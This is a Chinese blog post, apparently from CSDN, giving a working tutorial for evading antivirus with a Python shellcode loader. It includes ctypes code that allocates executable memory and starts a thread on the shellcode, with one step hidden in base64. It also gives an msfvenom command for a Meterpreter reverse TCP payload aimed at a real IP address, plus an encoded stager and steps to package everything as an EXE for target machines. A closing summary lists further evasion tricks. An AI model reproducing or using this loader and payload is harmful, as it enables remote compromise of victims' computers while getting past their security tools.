【免杀】分离免杀(python)

原理

shellcode是一段用于利用软件漏洞的有效负载代码,以其经常让攻击者获得shell而得名
shellcode loader加载器是用来运行shellcode的加载器,用什么语言来写都可以

思路就是将shellcode和loader分离开来,用loader加载存在于普通文件中的shellcode

实现

先将loader和shellcode都加密
loader

def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

shellcode用msf生成msfvenom -p python/meterpreter/reverse_tcp LHOST=120.27.114.84 LPORT=7000 -f raw > -o shell.py

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENa6q4sVhDxICKCuzcRaZNRQ9M0JFmtiv/dDVm8zPDevHnzYSY/h4TjrEZI/NuagQ99hFXLYwp7lXgyE6DXOeAFG4dD796A1pJtUJXC1yFWsSvNoiTa8CPePlzfvWx3jzdX9yzrhJqdA5UoJXUjRbMWdd2K85bwtZSSZc0QoB9RBYsCn7J5ni6iBfD0jCHblaXE3vlejZRc3hIeRQD1QVvGnuQz0t0RW4Y+340FbMFRzS7swU6f/FdPC80QLKBovltoUPPkA8RIywvEsGozqSEr+Q+JZBN/GfoDFNtfIw==')[0])))

然后对loader和shellcode分别加密存储到别的文件中(怎么加密都行但是最后要用相对应的方式解密)
shellcode加密

import base64 
import sys 

f = open("shellcode.txt")
t = f.read()
encoded = base64.b64encode(base64.b32encode(t.encode('UTF-8'))) #
print(encoded)
f.close()

loader加密

from base64 import b64encode

# 下面是加载器的核心函数
code = """def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))"""
print(b64encode(code.encode()))

将加密的数据写入到另外的文件中,loader.txt和shellcode1.txt中

from base64 import b32decode, b64decode, b64encode
import ctypes
import base64
import py2exe
import distutils

f = open('shellcode1.txt')
code = f.read()
code = b32decode(b64decode(code))
f.close()

exec(code.decode())

f2=open('loader.txt')
loader=f2.read()
f2.close()
exec(b64decode(loader).decode())

shellCodeLoad(shellcode)

运行代码,成功上线
在这里插入图片描述
在这里插入图片描述

打包exe

现在功能实现完了,该打包了,linux可能都有python环境,但是window不一定,所以需要打包成exe文件,需要pyinstaller或者py2exe

pip install pyinstaller或
pip install py2exe

pyinstaller安装使用
py2exe安装使用
还需要手动把loader.txt和shellcode1.txt放到和exe文件一个目录,以后使用的时候就打包直接发靶机上

都可以,我测试过两种打包方法都不会报毒

结果

报毒报的是之前我打靶机时候下的exp或者别的毒
在这里插入图片描述
在这里插入图片描述
不知道什么情况,是不检测zip吗?另一个检测网站也是这样子的
在这里插入图片描述

参考链接

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Python免杀是指在编写Python恶意代码时,通过一系列技术手段绕过杀毒软件的检测和阻止。在进行Python免杀时,可以采取多种常用的静态免杀技术,如特征码定位修改、填充花指令、文件加壳、内存执行、shellcode混淆、shellcodeloader分离、木马资源修改和调用系统白名单等。这些技术可以帮助我们在编写Python恶意代码时避免被杀毒软件检测到。 其中,特征码定位修改是指通过修改代码中的特征码或者特征码的位置,使得杀毒软件无法识别恶意代码。填充花指令是在代码中插入一些无实际功能的指令,以混淆代码结构,增加杀毒软件的分析难度。文件加壳是将恶意代码嵌入到其他可信的文件中,以绕过杀毒软件的检测。内存执行是将恶意代码直接加载到内存中执行,避免了被杀毒软件静态检测的可能。shellcode混淆是通过对shellcode进行变形或加密,使其难以被杀毒软件识别。shellcodeloader分离是将shellcode和加载器分离,使得杀毒软件难以检测到完整的恶意代码。木马资源修改是通过修改恶意代码所依赖的资源文件或者库文件,绕过杀毒软件的检测。调用系统白名单是指利用操作系统的合法功能或者系统自带的程序来执行恶意代码,使其被认为是正常行为而不被杀毒软件拦截。 需要注意的是,不同语言shellcodeloader免杀效果上有所差异,而Python免杀中的效果相对较好。此外,选择小众语言和不同的exe打包器也可以提高免杀效果。同时,在编写Python恶意代码时,尽量避免使用敏感词汇,以降低被杀毒软件查杀的概率。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值